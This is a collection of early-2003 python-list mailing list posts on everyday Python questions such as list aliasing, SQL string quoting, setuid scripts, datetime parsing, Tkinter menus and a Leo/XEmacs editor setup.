E.g. now() - someCall(2002,9,2,0,0) = 126 days

This seems possible in 2.3 alpha, but not in 2.2 (readily).

Looking for pointers please?

TIA DaveP



From lac at strakt.com  Tue Jan 28 19:07:59 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 01:07:59 +0100
Subject: Python vs. C++ Builder - speed of development 
In-Reply-To: Message from "Brandon Van Every" <vanevery@3DProgrammer.com> 
   of "Tue, 28 Jan 2003 21:25:38 GMT." <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net> 
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net> 
Message-ID: <200301290007.h0T07xjL023508@ratthing-b246.strakt.com>

> Laura Creighton wrote:
> >> Patrick:
> >>
> >> Is, or under which circumstances is the time which can be gained by
> >> using a RAD-IDE equivalent to the time gained by using Python
> >> directly?
> >
> > My guess is 'never'.
> 
> That's an extreme viewpoint.
> 
> > The problem with developing in C++ is not that
> > you don't have an IDE that makes development faster, but that in C++
> > there are so many ways to shoot yourself in the foot that you have
> > to spend forever re-reading your code to make sure that it doesn't
> > interact in nasty, horrible ways with other people's code.
> 
> Then don't interact with other people's code.

Not an option.  My job was interacting with other people's code.

>  Polymorphize your own tree
> where you know what you're doing, and keep the interface that everyone else
> sees very very simple.  This is no different a problem of API speccing than
> in any other language.  C++ simply provides you more ways to be stupid.
> Nothing's twisting your arm to be stupid however.  You can count on other
> people doing dumb things in their code, but if you're doing dumb things in
> your own code, that's your fault.  It's not that hard to ignore most of the
> "features" of C++ and just use basic class hierarchies to get simple things
> done.
> 
> > Or you spend your life debugging other people's badly designed templates.
> 
> Then don't use other people's templates.

Also not an option.  Debugging other peoples templates was the job.

> 
> > Or on the phone to Borland saying that you have found another bug in
> > the destructors ... or ....
> 
> Then don't use Borland products.  

Also wasn't my decision, but I have found Borland to be the most
responsive of all C++ vendors.  That is, it was _worth it_ to be
on the phone explaining bugs to Borland developers.  They were 
listening, anbd sending me test cases, and we were fixing things.

> Granted I spend my time doing 3D graphics,
> and I deliberately keep the OO aspect "lean and mean."  But I've never
> called Microsoft VC++ tech support for anything.  

I've never got them to fix anything myself.

> Also I've restricted
> myself to mature compiler products, I will *not* jump on the bandwagon of
> whatever crap MS has just put out.  Wait for a few service packs, let others
> take the lumps before you switch over.
> 
> I think, to answer the original poster's question honestly, you have to
> consider the complexity of what you're undertaking.  You seem to be talking
> about ridiculous, corporate-dysfunctional style complexity.  Sure, you'll
> have problems there with C++.  But you will also have them with Python, for
> different reasons.  For instance, no type checking.  The underlying problem
> is the dysfunctional corporation.  Change instead to a small team of
> programmers who know how to "fly in formation" and the problems go away for
> both languages.
> 
> > I don't think that it is possible to write an IDE that makes me as
> > productive in C++ as I am in Python with ed(1).
> 
> I can never take people seriously who say things like this.  You like ed
> because you've invested lotsa time in ed.  If you invested similar time in
> any other tool, you would like it also.  Why?  Because if you like ed,
> clearly you like what you know, not what is inherently a better paradigm for
> text entry.

You misunderstand.  Ed is the most primative tool there is in which
you can get useful work done.  It is as far away from an IDE as you
will get, which is why it is useful for his comparison.  He wants to
know if a speed up in IDE will match the speedup you get in Python for
C++.  And the answer is no.  Because the time you spend in C++ is
not mostly spent inside your development environment.  It is spent
outside, as you do something other than write code.

> 
> If you had said Emacs, I would take you half-seriously.  

This is what I develop in normally. 

>  If you said you had
> a mouse-driven GUI for your Emacs, because you're not the kind of genius who
> can remember every keystroke, you'd have my attention on issues of
> productivity.  There's nothing wrong with keyboard shortcuts, but users
> should not be required to know them.

Typing 400 words a minute helps as well.  I cannot do that yet, but
one person here at Strakt can.  Utterly awesome.  I thought that
200 words was good....

> 
> > That is because almost
> > all my time spent in C++ come from some other place than actually
> > writing code from scratch.  Other people's milage may vary.
> 
> Find a different job then.  Are you getting paid well for your C++
> headaches?  I wouldn't put up with it if it's as onerous as you make it
> sound.  Unless the money is really really good.

Last  C++ job I had paid roughly $400 Euros an hour.  And the reason 
they paid me this was because indeed, it was as onerous as I made it
sound.  This is what I was paid to do all day long.

You need to get over your notion that there cannot exist a person who
is excellent at something and who hates it at the same time.  

> 
> --
> Cheers,                         www.3DProgrammer.com
> Brandon Van Every               Seattle, WA
> 
> 20% of the world is real.
> 80% is gobbledygook we make up inside our own heads.
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Laura Creighton




From simonb at webone.com.au  Sat Jan  4 07:40:18 2003
From: simonb at webone.com.au (Simon Burton)
Date: Sat, 04 Jan 2003 23:40:18 +1100
Subject: Help, replacing the actual value from a data strucutre in a iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com> <msudnajgx8ojFoujXTWcqw@comcast.com> <c490a7ae.0301040331.33ff489f@posting.google.com> <pan.2003.01.04.12.33.58.884069@webone.com.au>
Message-ID: <pan.2003.01.04.12.40.17.623012@webone.com.au>

On Sat, 04 Jan 2003 23:33:58 +1100, Simon Burton wrote:


> yes, good question. Let us know when you work it out; last time i tried this i
> used a tuple (1,10,20,40) to index the offending element, that was before
> iterators/generators. at first glance it seems a custom class supporting the
> iterator protocol is needed.
> 
>> 

whoops, i think it was lists, [1,10,20,40] etc.
These are called 'multi indexes'..? lot's of AI stuff is rife with them.

Simon Burton





From spam-me at no-thanks.com  Thu Jan 23 17:25:28 2003
From: spam-me at no-thanks.com (Aum)
Date: Fri, 24 Jan 2003 11:25:28 +1300
Subject: staticmethod() problems
References: <QyHX9.42384$F63.906360@news.xtra.co.nz> <3E2F52E5.D3601AD7@alcyone.com> <YMRX9.43233$F63.924790@news.xtra.co.nz> <1y346lms.fsf@python.net>
Message-ID: <4%ZX9.43873$F63.945165@news.xtra.co.nz>

Thomas Heller wrote:

>> Firstly, python excels at empowering the programmer, and removing a vast
>> number of the restrictions which make other languages a total pain. So
>> why *shouldn't* there be a way for a static method to know (if it wants
>> to) if it's been invoked via the class or via an instance? And to
>> determine the exact class or subclass from which it's been invoked?
> 
> I posted a recipe some time ago which IMO allows you to do it:
> 
> http://tinyurl.com/4shq

That... is *soooo* totally kewl! :)
Works perfectly!

That should really go into the standard.

Thank you so much - you're a life-saver!

(I'd better knuckle down now and learn all these obscure low level class 
internals.)

Cheers
A




From missive at frontiernet.net  Sun Jan 26 17:59:17 2003
From: missive at frontiernet.net (Lee Harr)
Date: Sun, 26 Jan 2003 22:59:17 -0000
Subject: design advice sought
References: <4sLY9.17$K84.1793197@newssvr15.news.prodigy.com>
Message-ID: <v38q25i9gd5r95@corp.supernews.com>

In article <4sLY9.17$K84.1793197 at newssvr15.news.prodigy.com>, Byron Morgan:
> My project:
> 
> An existing server taps the logged output of a real-time control system,
> making the data available via inet.
> Platform is Python 2.2.2 on W2k.
> 
> My application (my first effort in Python) monitors the data stream,
> watching for critical events as well as maintaining status information on
> roughly 100 control subsystems. I have reached the point where it does this
> much pretty well, running all day. Next, I will add functions to send
> messages via various transports (e.g., pager, cellular text, instant
> mesaging) based on conditions and trends detected or analyzed.
> 
> I am seeking input on whether I should build all into a single app, which
> may necessitate the use of threading, or use one or more companion apps to
> handle the notification stuff. If separate applications are used, how best
> to communicate (I assume sockets will do, but have no experience with this,
> or with threads).
> 

Have you seen Twisted?

http://twistedmatrix.com/




From spam at al-queda.org  Tue Jan 28 22:56:10 2003
From: spam at al-queda.org (Aum)
Date: Wed, 29 Jan 2003 16:56:10 +1300
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <b176jl$vrg$1@slb5.atl.mindspring.net>
Message-ID: <pan.2003.01.29.03.56.09.541780@al-queda.org>

On Tue, 28 Jan 2003 17:17:44 -0700, Andrew Dalke wrote:

> Aum wrote:
>> Installation:
>> 1. Install Leo from CVS - instructions on the Leo website (above)
> 
> I couldn't find anything other than the standard Sourceforge
> CVS instructions, which wasn't all that obvious to find.  Did
> you mean anything else?
> 
> I then did a 'python setup.py install' which is not mentioned
> on the CVS directory.  There is a 'README.txt' which is more
> of a CHANGELOG than a README.  The first line says
> 
>   Important note: See INSTALL.TXT for installation instructions.
> 
> but there is no 'INSTALL.TXT' anywhere in the cvs distribution.
> 
> Note that it installs 20 modules in site-packages, as compared
> to a module, which is what I would have prefered.

The simpler way to set it up is to just stuck a script called 'leo'
somewhere in your execution path. The script I'm using (which assumes the
leo directory is /usr/local/src/leo), is:

	#!/usr/bin/python
	import sys
	import os
	import commands
	pybin = '/usr/bin/python'
	leodir = '/usr/local/src/leo'
	print sys.argv
	if len(sys.argv) != 2:
	    print "usage: leo filename.leo"
	else:
	    d = sys.argv[1].split("/")
	    f = d.pop()
	    d = '/'.join(d)
	    print "dir = '%s', file = '%s'" % (d, f)
	    if (d != ''):
	        os.chdir(d)
	    commands.getoutput("%s %s %s" % (pybin, leodir, f))

Then, I can just type 'leo filename.leo' and it comes up fine.

>> 2. Replace LeoPy.leo with my hacked copy:
>>    http://www.freenet.org.nz/downloads/LeoPy.leo
> 
> In the local cvs directory?  I didn't see that file located
> anywhere under the /usr/local/ directory, which is what I
> expected.  How does any leo installation know to look in
> the cvs directory for the configuration.

Depends on where you check out leo to. I use /usr/local/src/leo

>> 3. Set up your xemacs so it launches gnuserv on startup
> 
> Used xemacs for years. .... So, um, how do I do that and why?

gnuserv is an XEmacs function. Simply stick '(gnuserv)' in your init.el

XEmacs will run normally, but with one difference. If another process on
your system executes the command 'gnuclient filename', it's the same as it
executing 'xemacs filename', except the file gets opened in the same
instance of xemacs. Magic really.


> I did find
>    Options -> Customize -> Emacs -> Environment -> Gnuserv
> but nothing which said "launch gnuserv on startup"

As above, put '(gnuserv)' in your init.el

>> 4. Open a leo window on the left of the screen - slide the divider all the
>>    way right so no code pane is visible, then resize the window to thin and  
>>    tall
> 
> How do I start leo?  Nothing is installed under /usr/local/bin.
> Ahhh, okay, grep for "__main__" shows that the exectuable is
> 'leo.py', which is not marked as executable out of cvs so I need
> to run it as 'python leo.py'.

Use the above script.

> Looks like I shouldn't have done the 'python setup.py install'?

Doesn't seem to be needed.

>> 5. Open Xemacs on the right.
> 
> That one I can do.
> 
>> Try out this combo - you might just love it.
> 
> I tried.  So far it's in the category of "maybe a great idea
> but not yet at the state for me."

Check out my screenshot at:
http://www.freenet.org.nz/downloads/leo-screenshot.gif

Cheers
A




From cgjunkaddr at attbi.com  Sun Jan 26 23:15:17 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Mon, 27 Jan 2003 04:15:17 GMT
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04> <cor83v4ih1j852u8hd8gfsnqcahp07vgfo@4ax.com> <EV1Z9.46095$eM6.94050@rwcrnsc51.ops.asp.att.net>
Message-ID: <pn2Z9.45828$rM2.41120@rwcrnsc53>

On second thoughts, I think even today, you should be able to use the "Type"
class to create a new "Point" instance with arguments, through .NET's
reflection APIs.

Chetan


"Chetan Gadgil" <cgjunkaddr at attbi.com> wrote in message
news:EV1Z9.46095$eM6.94050 at rwcrnsc51.ops.asp.att.net...
> Sorry, I haven't done that yet...
>
> Still missing are:
> 1) Direct access to attributes (currently only thru methods)
> 2) Direct access to properties
>
> For now, I write wrapper classes where needed (actually not needed by me
> that often).
> Very often I can do:
> x = createObject(...)
> x.setX(10)
> etc.
> However, I am doing a major cleanup of my code and will include this
> (attribute constructor) as an important enhancement.
>
> Chetan
>
>
> "Kyle Yancey" <kyle at lakeofburningfire.org> wrote in message
> news:cor83v4ih1j852u8hd8gfsnqcahp07vgfo at 4ax.com...
> > One question.  Is there any way to create an object with a
> > constructor? I was trying one of the form examples in the .Net
> > documentation.  How would I do this:  point1 = Point (10, 10);
> >
> > On Sun, 26 Jan 2003 20:58:42 GMT, "Chetan Gadgil"
> > <cgjunkaddr at attbi.com> wrote:
> >
> > >Hi
> > >
> > >I have updated the library and documentation with some examples:
> > >1) How to use XML apis from .NET
> > >2) How to access .NET webservices dynamically from Python
> > >3) Create Windows forms
> > >
> > >Coming soon:
> > >
> > >1) How to access COM objects from Python, without using win32com
library.
> > >(using only kobra .NET)
> > >
> > >This project is under constant development to increase usability and
> improve
> > >features.
> > >
> > >Thanks to GV Rossum for creating this superb language - Python and to
> Mark
> > >Hammond for his awe inspiring win32all.
> > >
> > >http://www.gadgil.net/DotNetWrapperForPython.htm
> > >
> > >Regards
> > >Chetan
> > >
> >
>
>





From imbosol at vt.edu  Wed Jan 15 22:09:51 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 16 Jan 2003 03:09:51 GMT
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <9SmV9.1213$zH5.338@nwrddc03.gnilink.net> <jpub2v0qocnj6rachkmtmt0msqgmhkb7br@4ax.com>
Message-ID: <3opV9.1280$zH5.458@nwrddc03.gnilink.net>

Chris Spencer wrote:

> As I mentioned in my most recent response, these strings are NOT
> being compared in the Python interpreter, but by the SQL engine on a
> database, so all the subclassing in the world won't help me here.
> 
>  And though I sometimes don't agree with my boss on design issues, I
> have to say that this isn't one of those times.  We have very clear
> design constraints which REQUIRE us to store strings, integers,
> floats, dates/times, all in string format in TEXT blobs in the
> database.


I'd hate to see what kind of problem requires you to store numeric
data as strings, and yet still expects to be able to query those
strings as if the strings were numbers.

Anyways, one option is to pad the left with spaces instead of zeros.
Surprise!  The sorting still works (assuming you do it consistently).
All bets are off if you can't rely on ASCII characters.  There's still
that problem of how much to pad, though.


Maybe you will need to store very large numbers.  So how about reverse
lexically normalized scientific notaion?

    def RLNSNize_number(number):
        mantissa,exponent = ("%.18e" % number).split("e")
        return "%04dm%20s" % (int(exponent)+500, mantissa)

    def unRLNSNize_number(s):
        exponent = int(s[0:4])-500
	mantissa = s[5:25]
	return float("%se%d" % (mantissa,exponent))


(I assume, BTW, you won't be storing negative numbers.  If you are,
you're in bad shape, and might want to reconsider Option 1 from my
previous post.)


-- 
CARL BANKS



From marcin at finisar.com  Sun Jan 19 23:38:32 2003
From: marcin at finisar.com (Marcin Matuszkiewicz)
Date: Mon, 20 Jan 2003 12:38:32 +0800
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com> <9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com>
Message-ID: <hVadnXEIxLEWw7GjXTWc-w@speakeasy.net>

What is a most efficient way to create an intialized 2D list?

Marcin

Manuel M. Garcia wrote:

> On 20 Jan 2003 11:06:47 -0800, marcin at finisar.com (Marcin
> Matuszkiewicz) wrote:
> 
>>In the code below I created a two dimensional list in two ways.  List
>>b behaves I expect, list a does not.  Could someone explain it?
>>
>>>>> a=[[0]*4]*2
>>>>> a
>>[[0, 0, 0, 0], [0, 0, 0, 0]]
>>>>> a[0][0]=1
>>>>> a
>>[[1, 0, 0, 0], [1, 0, 0, 0]]
>>>>> b=[[0, 0, 0, 0], [0, 0, 0, 0]]
>>>>> b[0][0]=1
>>>>> b
>>[[1, 0, 0, 0], [0, 0, 0, 0]]
>>>>>
>>
>>Thanks,
>>
>>Marcin
> 
> safe way to create a 2 dimensional list initialized with zeros
> 
>>>> a = [ [0] * 2 for _ in range(3) ]
>>>> a
> [[0, 0], [0, 0], [0, 0]]
>>>> x = 0
>>>> for i in range(3):
> ...   for j in range(2):
> ...           a[i][j] = x
> ...           x += 1
> ...
>>>> a
> [[0, 1], [2, 3], [4, 5]]
> 
> [0] * 2 is a safe way to create a 2 dimensional list, because of the
> immutability of 0.
> 
> [0] * 2 is not immutable, so [[0] * 2] * 3 is NOT a safe way to create
> a 2 dimensional list.
> 
> [ x for y in z ] is called a "list comprehension".  It is a recent
> addition to Python, and quite handy, but a little strange looking.
> 
> The underscore "_" is a standard idiom for a thrown-away value.  This
> works just as well:
> 
> a = [ [0] * 2 for junk in range(3) ]
> 
> Manuel




From clifford.wells at attbi.com  Sat Jan  4 16:29:54 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 04 Jan 2003 13:29:54 -0800
Subject: new years resolutions
In-Reply-To: <av7hmd$v5p$1@news6.svr.pol.co.uk>
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE7C@admin56.narex.com>
	 <mailman.1041708488.14181.python-list@python.org>
	 <av7hmd$v5p$1@news6.svr.pol.co.uk>
Message-ID: <1041715794.3566.122.camel@x1-6-00-04-5a-64-c4-03>

On Sat, 2003-01-04 at 12:58, Simon Bunker wrote:
> Might a better definition be that a programming language program that can
> take data input and act on it to produce a particular output?

Are you defining "programming language" or "program"?  By your
definition a circuit board is a program, in fact, by this definition,
the surge suppressor attached to my PC is a "program".  Although, from a
certain point of view, this might be true, I don't think it's the
definition being looked for in this thread.

> 
> HTML does have a lot of variables defined, but HTML itself cannot do
> anything with these without Javascript/PHP/Perl/Python/C/some programming
> language. The borwser has been created by a programming language and takes
> the HTML as data.
>
> Then again python source code is data too until you take it through the
> interpretter. Running a python module is running a program, viewing a
> webpage isn't.

It's certainly easy to make a declarative statement about what is or
isn't programming, but until you (or someone) can come up with an
accepted definition of "programming" or "programming language", it's
just another opinion.

I've read articles about how software is unique among human endeavors in
that it is neither fully concrete nor fully abstract. It seems likely
that attempting to define it in either fashion is doomed to failure. 
The abstract definitions (Turing complete) can never truly exist in a
finite universe (let alone on a PC) and the concrete definitions
(controlling a machine) are clearly too inclusive.  
I suppose I'll continue to "program" and know what it means and accept
that it might mean something different in a different context or to a
different person.  However, in the future, I'll certainly avoid trying
to tell someone else what is or isn't programming so as to have time to
actually do some <wink>.

Regards,

-- 
Cliff Wells <clifford.wells at attbi.com>





From martin at v.loewis.de  Wed Jan 15 01:37:52 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 15 Jan 2003 07:37:52 +0100
Subject: Python23: cannot inherit from bool?
References: <mailman.1042597226.22940.python-list@python.org> <8g5V9.30384$%V.15227@nwrddc02.gnilink.net>
Message-ID: <m33cnuhq9r.fsf@mira.informatik.hu-berlin.de>

Carl Banks <imbosol at vt.edu> writes:

> This reminds me of a question I've been pondering, in case anyone
> knows: Is it the plan that built-in singleton objects (None, Ellipsis,
> NotImplemented, ?) will eventually get a new metatype?  

To my knowledge, no.

> Although it seems like there would be small benefit for built-in
> objects (the only tangible thing I can think of is you could ask a
> singleton type for its object), it could be used for Python types,
> too.

What specific functionality would you expect to see in this metatype?

For a C-implemented type, all you have to do is to leave out the
tp_new slot, then creating new instances by calling the type will
cause TypeErrors.

For a Python-implemented type (i.e. a newstyle class), not being able
to call the class to create an instance is not helpful: how would you
then create the single instance?

Regards,
Martin




From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 09:41:33 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 14:41:33 +0000
Subject: Implicit lists
Message-ID: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>

In many places, often small utility functions, I find myself using the
form:

lst = maybeAnArg
if type(lst) not in (list, tuple)
    lst = [lst]
for x in lst:
    whatever

or

lst = maybeAnArg
if type(lst) not in (list, tuple)
    lst = [lst]
mangle = [x for x in lst if whatever]


In other words, I want to be able to treat an argument of arbitrary
type as a list of 1 if it isn't already a list.

Has anyone got a neater way of doing this?

Thanks

--
Dale Strickland-Clark
Riverhall Systems Ltd



From mwh at python.net  Fri Jan 17 11:36:20 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 16:36:20 GMT
Subject: Python 2.3: int() ?
References: <b09761$a32$1@news.schlund.de>
Message-ID: <7h3adhzn36t.fsf@pc150.maths.bris.ac.uk>

Carsten Gaebler <news at snakefarm.org> writes:

> Hi there,
> 
> I just read the 2.3 'highlights' page on python org, and I'm a bit
> confused: it says '# int() - this can now return a long when
> converting a string with many digits, rather than raising
> OverflowError.'
> 
> What does 'can' mean here?

It means it sometimes returns a long, sometimes an int.

>>> type(int("1" + "0"*3))
<type 'int'>
>>> type(int("1" + "0"*30))
<type 'long'>

> Can I switch between returning a long or raising an exception?

No.  At least, I'm pretty sure not.

Cheers,
M.

-- 
  Its unmanageable complexity has spawned more fear-preventing tools
  than any other language, but the solution _should_ have been to 
  create and use a language that does not overload the whole goddamn 
  human brain with irrelevant details.  -- Erik Naggum, comp.lang.lisp



From throwaway at mit.edu  Sun Jan 26 11:10:23 2003
From: throwaway at mit.edu (throwaway at mit.edu)
Date: 26 Jan 2003 11:10:23 -0500
Subject: Getting SuperUser Authority From Within Running Python Program
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org> <2ot01b.atg.ln@boundary.tundraware.com>
Message-ID: <87of63opsg.fsf@mit.edu>


> I am curious about one thing you said - that setuid is ok for selected
> (compiled) programs but not scripts.  If the script has appropriate
> limitations on who can modify it, why is setuid/setgid worse for
> scripts than compiled programs?

check out these explanations:

http://www.ee.byu.edu/unix-faq/subsubsection3_6_6_5.html
http://www.ee.byu.edu/unix-faq/subsubsection3_6_6_6.html
http://mail-index.netbsd.org/netbsd-help/1996/07/03/0001.html

it is possible to start a script from a setuid C stub.  see
Misc/setuid-prog.c in the python source distribution for an example.  i
can't see what privileged operations you would want a file browser to
perform, though.  what business do non-root users have manipulating
root-owned files?

alex.




From max at alcyone.com  Wed Jan 15 21:46:51 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 15 Jan 2003 18:46:51 -0800
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov> <mailman.1042676428.15278.python-list@python.org>
Message-ID: <3E261D1B.18F7BB2E@alcyone.com>

Chris Spencer wrote:

>         The comparison will not be done inside of a Python
> interpreter, but in
> an SQL statement. ie...
> select blah from table where value>"999" and value<"3432";
> 
> We're storing arbitrary data in text blobs, so we can't make "value"
> above an
> integer type.
> 
> As I mentioned in my first post, while the above SQL statement would
> be
> incorrect, the below SQL code WOULD.

If that's the case, what does this question have to do with Python?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ And there inside our private war / I died the night before
\__/ Sade
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From Simon.Wittber at perth.maptek.com.au  Mon Jan 20 23:25:18 2003
From: Simon.Wittber at perth.maptek.com.au (Simon Wittber (Maptek))
Date: Tue, 21 Jan 2003 12:25:18 +0800
Subject: 3D and floating point optimization
Message-ID: <10F0E58C0018054484E329DC494C4D7F01BD4C@mexper1>

>>My question is, considering the speed of today's FPUs, is using fixed 
>>point math still a valid optimization, in Python?

>Using fixed-point to represent floating point wouldn't be the first
place I'd
>look for optimisation.  

If fixed point (considering modern FPU speed) still speeds calculations
up,
it's the sort of thing you have to do first. While I haven't done this
before,
I think it would be a pain to retrofit.

>Extensive use of Numeric Python whereever possible, binding core-code
with 
>psyco, liberal use of display-lists (preferably with a dynamically
updated 
>compilation) and/or array-based geometry, and traditional Opengl
optimisation
>strategies (aggressive scene culling, state-change minimisation) will 
>probably get you farther faster.

I'm already using these techniques. I have to say, Psyco is marvelous!

>AFAIK, Numeric Python doesn't do any parallelisation tricks for e.g. 
>3DNow or SSE, so adding extension support for using those for 
>array-proccessing (normal calculation or the like) would probably give
a 

I also am pre-calculating normals.

>Re-coding a few core loops in C or PyRex would also likely be a decent 
>optimisation approach.  

This prompts another question, is fixed point math still a valid
optimization
in C? If so, Pyrex code could be a good option.

I suppose I could I could code up some quick benchmarks comparing floats
and
fixed points, but I am interested in other peoples experience.

simon.




From cnetzer at mail.arc.nasa.gov  Sat Jan  4 22:31:29 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Sat, 4 Jan 2003 19:31:29 -0800
Subject: Blocking ctrl-c to os.popen() or os.system()
In-Reply-To: <d71cc7f6.0301041400.25c106c4@posting.google.com>
References: <d71cc7f6.0301041400.25c106c4@posting.google.com>
Message-ID: <200301050331.TAA23425@mail.arc.nasa.gov>

On Saturday 04 January 2003 14:00, Sandeep Gupta wrote:
> I am executing a command from python via os.popen().  While the
> command is executing, if I type ctrl-c, the command receives the
> interrupt.

What is your system?  On Linux, with a trivial (and perhaps foolish) example 
it seems that the Python interpreter does indeed get the ctrl-c:

~~~~~~~~~~~~~~~~~~~~~~~~
import os
import time

if __name__ == '__main__':
    cmd_str = "sleep 20"
    print 'Running "%s"' % cmd_str
    os.popen2( cmd_str )

    print "Python now sleeping for 20 seconds."
    try:
        time.sleep(20)
    except KeyboardInterrupt:
        print "ctrl-c was pressed"
~~~~~~~~~~~~~~~~~~~~~~~~

$ python popen_test.py 
Running "sleep 20"
Python now sleeping for 20 seconds.
ctrl-c was pressed


Note - I pressed ctrl-c to get that result. :)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From kevin at cazabon.com  Fri Jan  3 08:22:21 2003
From: kevin at cazabon.com (Kevin Cazabon)
Date: 3 Jan 2003 05:22:21 -0800
Subject: PyCObject_FromVoidPtrAndDesc... proper destructor use in DLL, HELP!
References: <vk7R9.539327$P31.179659@rwcrnsc53> <pan.2003.01.03.06.03.15.42692@webone.com.au>
Message-ID: <5a4226f0.0301030522.4687d48f@posting.google.com>

Thanks Simon, I knew it had to be simpler than I was making it out to
be... and it's much easier to find examples for PyCObject_FromVoidPtr
too.

Kevin.



From member21858 at dbforums.com  Wed Jan  8 05:30:09 2003
From: member21858 at dbforums.com (keithk)
Date: Wed, 08 Jan 2003 10:30:09 +0000
Subject: Help: Omitting quotes from SQL Queries.
References: <2356598.1041950714@dbforums.com>
Message-ID: <2360684.1042021809@dbforums.com>

Hi again,

I have tried some of your suggestions when using a variable for a
column name:

Using a correct Column name:

fileName = "Hello World's"
for fileName in fileNameList:
      cursor.execute("""SELECT fileSize FROM DBServer.database a where
      a.ColumnName = "%s" """" % fileName)
      fileSizes = cursor.fetchall()

Above returns an 'invalid column name' error.

fileName = "Hello World's"
for fileName in fileNameList:
      cursor.execute("SELECT fileSize FROM DBServer.database a where
      a.ColumnName= %s " % fileName)
      fileSizes = cursor.fetchall()

Above gives an "incorrect syntax near" error.


fileName = "Hello World's"
for fileName in fileNameList:
      cursor.execute("SELECT fileSize FROM DBServer.database a where
      a.ColumnName= '%s' " % (fileName),)
      fileSizes = cursor.fetchall()

I also tried the above with various qoutes, eg:

fileName = "Hello World's"
for fileName in fileNameList:
      cursor.execute("""SELECT fileSize FROM DBServer.database a where
      a.ColumnName = '"%s" """ % (fileName),)
      fileSizes = cursor.fetchall()

'Invalid column name' is returned, this is returned whenever I use the
triple qoutes, """.

If I use string.replace() method and replace the ' with " then I receive
no errors but no data is retrived from the DB as "Hello World's" does
not equal 'Hello World"s' thus no match is made in the DB.

Daniel,

Could you give me a little more detail about the

execute ("SELECT ...",[fileName]) appraoch as I am not familiar with
the syntax.

Thanks to all for replying.

--
Posted via http://dbforums.com



From jepler at unpythonic.net  Wed Jan  8 19:51:44 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 8 Jan 2003 18:51:44 -0600
Subject: tkinker:Simulating GUI Button Press
In-Reply-To: <q0giva.1hg.ln@boundary.tundraware.com>
References: <q0giva.1hg.ln@boundary.tundraware.com>
Message-ID: <20030108185143.B1243@unpythonic.net>

On Thu, Jan 09, 2003 at 12:40:07AM +0000, Tim Daneliuk wrote:
> Is there a way to programmatically generate the event that acts like
> CmdBtn or DirBtn have been pressed?  I am familiar with keyboard events,
> but cannot seem to figure out how to activate a Menubutton element as if
> it has been clicked by the user...

These classes have an 'invoke' method:
    Button  Checkbutton  Menu  Radiobutton

For whatever reason, Menubutton doesn't (and if you read the Tcl
procedures called by the builtin bindings, they operate by calling
internal Tk procedures, and depend on the type of OS where your program
is running, in the name of "native feel").  However, the tk_popup method
(on menu widgets) can be used to post a menu at the desired position.
It does not handle mouse/keyboard grab entirely like clicking a
menubutton, though.

Jeff




From gry at ll.mit.edu  Thu Jan 30 18:17:27 2003
From: gry at ll.mit.edu (george young)
Date: Thu, 30 Jan 2003 18:17:27 -0500
Subject: datetime module: iso date *input* needed
Message-ID: <20030130181727.5a006f5d.gry@ll.mit.edu>

[python 2.3a1, linux]
I'm using the 2.3a datetime module.  The datetime.isoformat() works nicely:
  >>> import datetime
  >>> d=datetime.datetime.now()
  >>> d
  datetime.datetime(2003, 1, 30, 17, 48, 7, 848769)
  >> d.isoformat()
  '2003-01-30T17:48:07.848769'

but now I need a way to make a datetime object from a date in iso format.
I can't find a function in datetime to do this, e.g. something like:
  d=datetime.datetime.parse_iso('2003-01-30T17:48:07.848769')

I thought about using the time module strptime function, but it doesn't do
fractions of a second.  I used to move date/times between python and postgres as
epoch integers, but I hope to change to a human-readable format for better
debugging.  

I'm sure I could do this somehow with mx.DateTime, but if the datetime module
is going to be the new standard, I would like to use it in my new code...

-- George
-- 
 I cannot think why the whole bed of the ocean is
 not one solid mass of oysters, so prolific they seem. Ah,
 I am wandering! Strange how the brain controls the brain!
	-- Sherlock Holmes in "The Dying Detective"



From v.wehren at home.nl  Mon Jan 27 15:07:32 2003
From: v.wehren at home.nl (vincent wehren)
Date: Mon, 27 Jan 2003 21:07:32 +0100
Subject: how to use unicode?(2)
References: <mailman.1043680929.18267.python-list@python.org>
Message-ID: <b1434d$scg$1@news1.tilbu1.nb.home.nl>

"gfu" <gfu at public.nn.gx.cn> schrieb im Newsbeitrag
news:mailman.1043680929.18267.python-list at python.org...
> >gfu wrote:
> >> >>> u'????'
> >> u'\xcb\xc6\xcd\xf8\xd2\xb3'
> >
> >In Python 2.2, you cannot put non-ASCII characters into a Unicode
